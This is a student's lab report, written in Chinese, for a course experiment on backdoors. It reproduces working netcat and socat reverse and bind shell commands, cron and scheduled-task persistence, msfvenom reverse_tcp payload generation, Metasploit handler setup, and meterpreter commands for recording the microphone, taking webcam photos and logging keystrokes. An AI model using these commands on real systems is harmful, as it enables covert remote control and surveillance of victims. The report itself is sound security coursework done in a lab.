20192209 Exp2-后门原理与实践
1.后门概念
后门就是不经过正常认证流程而访问系统的通道。
哪里有后门呢?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
–
下面是近些年的一些例子:
- 编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
- 操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
- 操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
- 固件:更多思科路由器发现后门:中国有4台
- 应用:研究人员发现macOS版Skype内置了后门
- 应用:从广升“后门”事件看企业道德底线
- 应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?
–
我们接下来讲得是一个相对狭义一点的后门的概念,
- 特指潜伏于操作系统中专门做后门的一个程序,
- “坏人”可以连接这个程序
- 远程执行各种指令。
- 概念和木马有重叠
–
* 首先得有这么一个程序
* netcat 系列
* meterpreter
* intersect
* ...特别多
* 其次得放到系统里
* 正版软件故意或被攻击,包含后门
* 正版库文件中包含后门
* 本质上,需要诱骗你下载操作的,都属于各种钓鱼吧
* 安装包中包含后门,放到网上供下载
* 绑定到特定文件中,放到网上供下载
* 直接发送恶意程序给你
* 直接发送攻击性钓鱼链接给你,恶意网站种马
* 捡到个U盘,打开个文件看看?
* 煤女帅锅拿U盘直接拷给你
* 攻击系统漏洞,获取控制权后,安装后门
* 再次还得运行起来
* 开机自启动技术
* win的定时任务
* linux的cron
* 伪装成常用软件,诱使用户点击
* 木马化正常软件
* 最后还得不被本机的恶意代码检测程序发现
* 恶意代码免杀技术
* 也不能被本机的或网络上的防火墙发现
* 反弹式连接
* 加密连接
* 隧道技术
2. 常用后门工具
- 2.1 讲怎么用nc获取远程主机的Shell
- 2.2 讲meterpreter怎么用。
–
2.1 NC 或 netcat
1.关于netcat
- 又名nc,ncat
- http://nc110.sourceforge/
- http://netcat.sourceforge/.
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
–
- Linux: 一般自带netcat,“man netcat” 或"man nc"可查看其使用说明。
- Windows: 课程主页附件中下载ncat.rar解压即可使用。
- Mac: 系统自带,“man nc”,查看其使用说明。
- 以下相关指令,实测有效。
–
2.1.1 Win获得Linux Shell
以下实践Windows基本Win11, Kali.
首先查看本机以及kali的IP地址
1.windows 打开监听
ncat.exe -l -p 2209
2.Linux反弹连接win
nc 192.168.1.106 2209 -e /bin/sh
3.windows下获得一个linux shell,可运行任何指令,如ls
此处示例执行了whoami
指令,成功返回我于Windows中的用户名
3 在虚拟机中启动cron并在主机监听
先在虚拟机上用crontab -e
指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
此处我已编辑后截的图。
在最后一行添加
40 * * * * /bin/netcat 192.168.1.106 2209 -e /bin/sh
即在每个小时的第40分钟反向连接Windows主机的2209端口
在40分时打开Windows终端,输入
ncat -l -p 2209
即可成功获取虚拟机的shell,此处示例执行了ls
指令
4 使用socat获取主机操作Shell,任务计划启动
现在我们要通过使用socat从kali中获取Windows shell。首先打开Windows中的计算机管理中的任务计划程序。
然后创建任务,名称设置为20192209exp2。
添加一个工作站锁定时的触发器。
新建执行socat.exe程序的操作,并将参数设置为tcp-listen:2209 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口2209,同时把cmd.exe的stderr重定向。
创建任务后,锁屏,再打开,进入kali中监听,socat - tcp:192.168.1.106:2209,成功获取到Windows shell
5 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
首先是生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=2209 -f exe > 20192209_backdoor.exe
然后需要将这个程序发送给Windows主机,这就需要目标机开启监听
ncat -lv 2209 >20192209_backdoor.exe
然后再在kali中发送
nc 192.168.1.106 2209 < 20192209_backdoor.exe
在发送前我们要先把windows安全中心中的杀毒功能关闭。发送成功
在kali上使用msfconsole
指令进入msf控制台
对msf控制台进行配置
依次输入以下命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.15
set LPORT 2209
接着输入exploit
进行监听,在Windows在打开20192209_backdoor.exe
后并没有成功获取到Windows的shell,在检查杀毒软件之后并未发现后门软件被禁用,却发现虽然kali可以ping通外部主机,但是外部主机却无法ping通kali。在课堂上询问老师后,我修改网络模式为网桥模式,随后使用手机热点,成功ping通后进行实验。由于修改了网络模式和所连接的网络,Windows端查看的IP地址和kali中查看到的IP地址如下。
Windows:192.168.43.152
kali:192.168.43.27
随后重新输入exploit
进行监听,成功实现获取Windows的shell
6 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音(-d可设置时长)
获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
获取击键记录
输入keyscan_start开始捕获键盘记录,keyscan_dump
获取击键记录(-d可设置时长)
截取主机屏幕
使用screenshot
指令可以进行截屏
7 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
输入的payload如下:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.27 LPORT=2209 -x pwn1 -f elf > 20192209pwn
然后打开msf控制台,配置
再用另一个终端执行生成的文件20192209pwn,再进行监听,成功获取了shell
8 基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
在不知名网站上随意下载非官方版本的软件
例举你知道的后门如何启动起来(win及linux)的方式?
Windows
Windows可以通过偷偷新建任务管理计划,使之在进行特定操作时触发后门程序。
Linux则可以通过crontab任务计划定时或以别的条件启动
两者均可通过socat和netcat获取shell、反弹连接。
Meterpreter有哪些给你印象深刻的功能?
Meterpreter可以快速简单地生成一个后门程序,而且功能较为强大,适合类似我们这样的学习用户。
如何发现自己有系统有没有被安装后门?
1.当电脑经常卡顿,经常死机时,可能电脑已被注入后门,电脑的资源被占用
2.部分文件异常无法启动
病毒修改了或删除注入了某些文件。
3.启动黑屏/蓝屏
4.Windows Defender的报告,Windows自带的杀软功能较为强大,能准确识别出一些恶意软件。
实验总结与体会
本次实验是本学期的第二次实验,实验在老师和同学的指引下较为顺利的完成了,期间遇到的许多问题主要为网络的问题。在实验进行到中途时,我发现kali内部可以ping通Windows,而Windows无法ping通kali,一开始尝试了关闭kali内的防火墙,以及切换网卡模式为仅主机host,依旧无法解决。在老师上课时讲述桥接相关知识后,我将网卡模式切换为桥接模式后便可以实现ping通,随后的实验便较为顺利。本次实验使我第一次实现一个十分基础的后门软件的生成和注入,而实验第四项的控制主机摄像头拍照、录视频、获取击键记录给我留下了深刻的印象,也更让我期待后续的实验内容。
更多推荐
20192209 Exp2-后门原理与实践
发布评论